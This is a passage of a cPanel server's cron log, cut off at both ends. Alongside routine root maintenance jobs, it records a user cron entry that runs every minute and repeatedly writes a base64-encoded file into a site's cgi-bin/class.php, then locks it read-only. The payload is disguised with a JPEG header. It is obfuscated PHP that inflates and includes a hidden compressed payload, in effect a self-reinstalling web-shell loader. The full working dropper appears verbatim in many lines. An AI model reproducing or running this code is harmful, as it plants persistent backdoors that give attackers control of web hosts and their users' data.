--decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:25:01 server CROND[14731]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 12:25:01 server CROND[14727]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 12:26:01 server CROND[15595]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:26:01 server CROND[15596]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:26:01 server CROND[15598]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:27:01 server CROND[15999]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:27:01 server CROND[16000]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:27:01 server CROND[16001]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 12:27:01 server CROND[16002]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:28:01 server CROND[16400]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:28:01 server CROND[16401]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:28:01 server CROND[16402]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:29:01 server CROND[16876]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:29:01 server CROND[16877]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:29:01 server CROND[16878]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:30:01 server CROND[17290]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 12:30:01 server CROND[17293]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 12:30:01 server CROND[17295]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 12:30:01 server CROND[17296]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 12:30:01 server CROND[17298]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:30:01 server CROND[17301]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:30:01 server CROND[17302]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Aug 31 12:30:01 server CROND[17299]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 12:30:01 server CROND[17297]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:31:01 server CROND[18144]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:31:01 server CROND[18145]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:31:01 server CROND[18146]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:32:01 server CROND[18534]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:32:01 server CROND[18536]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:32:01 server CROND[18535]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:33:01 server CROND[18937]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:33:01 server CROND[18938]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:33:01 server CROND[18939]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:34:01 server CROND[19339]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:34:01 server CROND[19340]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:34:01 server CROND[19341]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:35:01 server CROND[19726]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 12:35:01 server CROND[19729]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 12:35:01 server CROND[19728]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 12:35:01 server CROND[19732]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 31 12:35:01 server CROND[19733]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 12:35:01 server CROND[19741]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 12:35:01 server CROND[19739]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:35:01 server CROND[19731]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:35:01 server CROND[19740]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:36:01 server CROND[20563]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:36:01 server CROND[20564]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:36:01 server CROND[20565]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:37:01 server CROND[21049]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:37:01 server CROND[21050]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 